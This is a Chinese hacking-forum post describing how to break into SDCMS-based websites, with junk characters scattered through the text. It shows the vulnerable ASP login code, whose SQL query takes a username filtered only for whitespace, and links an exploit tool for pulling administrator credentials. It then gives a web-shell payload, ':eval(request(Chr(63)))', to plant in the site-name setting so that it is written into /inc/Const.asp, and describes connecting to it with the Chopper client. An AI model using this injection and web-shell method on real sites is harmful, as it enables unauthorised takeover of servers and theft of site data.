SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
9 O/ H0 x: T/ u5 U  p5 _漏洞文件：后台目录/index.asp

Sub Check
+ S" Q; L+ h- C. j) A0 w( E; z    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
; R" C1 H5 }7 y/ j& h. `    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
9 p* J9 C+ P1 }% w. N- P/ W    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
5 w8 H8 A) F# J1 r( O. P! B. D    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
  }' `% F" Q( N$ d/ v+ k0 T! z# r    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
7 }$ Z2 z) Z! |    Else
0 i: S9 G( n  Z4 B        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
/ o- o( w* Q1 p) J; y& r1 h            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
$ R6 P9 @: X  y7 }/ R' M            Add_Cookies "sdcms_admin",Rs(3)
6 x$ `8 u, C, f( I& h% Z6 a            Add_Cookies "sdcms_alllever",Rs(4)
: T- M  f, n1 _% f5 }            Add_Cookies "sdcms_infolever",Rs(5)
' h  ]4 x' R0 Y8 u# D            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
  k9 q& P5 g0 h! Y9 K2 X/ A            '自动删除30天前的Log记录
  j2 S* H, V6 @9 R# _& t$ q            IF Sdcms_DataType Then
, g2 x: w7 c! L, ?: c                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
& [/ s. `, ~2 G- a7 ^$ d. U& b4 C, }            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
' j% d% y: S) S! z1 b' S            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
3 e$ z) C6 i7 k* h+ h- P. n    End IF
End Sub
0 f' f9 ?. x: W* n
' x( e" B* e7 }9 _’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

' M1 k* @7 h5 J) ]8 m* t5 sFunction FilterText(ByVal t0,ByVal t1)
/ z4 T% t/ N; \8 P. d7 h3 M2 E    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
4 B2 }2 |7 C3 s( R    t0=Trim(t0)
    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
: v+ D, j. N! K' g1 d+ m: u: k4 v            t0=Replace(t0,Chr(13),"")
/ O- E7 l4 s1 J6 t1 g/ M: z            t0=Replace(t0,Chr(10)&Chr(10),"")
: j, U4 K5 [  x) z7 \) t            t0=Replace(t0,Chr(10),"")
, A% G- `  d0 F$ I, s9 _        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
) |5 C5 o- h: M4 R- f& ]$ w            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
  ~9 l! E; P( J7 g7 W6 X. i            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
0 V6 [# r4 K/ ]. V            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
: r6 k* g8 {. |' H) \% O            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
2 P, T, c+ z7 F1 L            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
# i) Y9 k9 E/ x4 R            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
4 z/ r3 c3 w8 x  k            t0=Replace(t0,Chr(44),"")',
0 A. K4 z: U: J4 `& ]            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
. a  A/ G9 a; m6 D5 h$ V7 k" N1 M            t0=Replace(t0,Chr(58),"")':
7 g/ G* T) ?3 i+ V) {( T            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
6 |: J% W3 [  F+ l4 ]% H2 U            t0=Replace(t0,Chr(63),"")'?
$ c5 S) x( E' H; w            t0=Replace(t0,Chr(64),"")'@
  L) f! M  u7 N5 E2 o8 q            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
2 F1 w7 v) \2 T            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
' k7 A2 p% m& K+ J            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
6 S' ]' D; ?+ s& x) G1 M; g; d9 s        t0=Replace(t0, "&", "&")
' x& c+ ?+ \/ T! o" u8 p7 t        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
' g4 n, A! U7 ^! [    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
; M; g; g% s* F! I    End If
    FilterText=t0
9 {6 ?/ ]% Z# v& r. cEnd Function
5 e5 `0 P" V- ^/ k- ]
$ P' P6 i! n5 M. x" ^0 x看到没。直接参数是1 只过滤
- ^( H  u% `3 }; E6 q                        t0=Replace(t0,Chr(32)," ")
1 r0 j# X9 O" [- I3 I                        t0=Replace(t0,Chr(13),"")
" V. K. t- _' D* b6 w                        t0=Replace(t0,Chr(10)&Chr(10),"
")
* z! Z; x" c' S7 X8 V3 [( p                        t0=Replace(t0,Chr(10),"
")
( N! h" l: Z6 X5 @" A1 l  s漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
9 f6 I0 E/ N( c# gEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

$ \' N- B2 m0 s4 j; h测试:
- i6 I+ e9 {6 O9 C: c
. `$ |- y1 @( U* ^. a% A
现在输入工具上验证码,然后点OK


% D3 ^0 M5 K# Q/ }; s看到我们直接进入后台管理界面了,呵呵!


4 Z3 |+ N( N9 N( x! E$ j
8 V/ J1 A' D; V6 J这样直接进入后台了。。。。

& _- X1 ?4 I  c( k
/ c* m+ c. H  v  ~3 _% }7 z
! h- a* O) p, J1 P# u/ g, kSDCMS提权:
( H/ h9 e3 k8 S4 R' Z
; G4 b) _/ I. P  _3 x方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
9 M0 h3 v1 u; ^6 c" _0 F  ^8 g

9 Z/ Q. T# ~' z) E
- S- n# L0 B* F6 V7 e9 b- EOK,现在用菜刀连接下!
7 T$ m3 F) x4 \5 T( o# _

# m& n# Z7 B( `8 I( Q

" T' C* v& a! g- @+ ?2 |; ?
. b5 E' g; ~& T$ t4 k& \/ d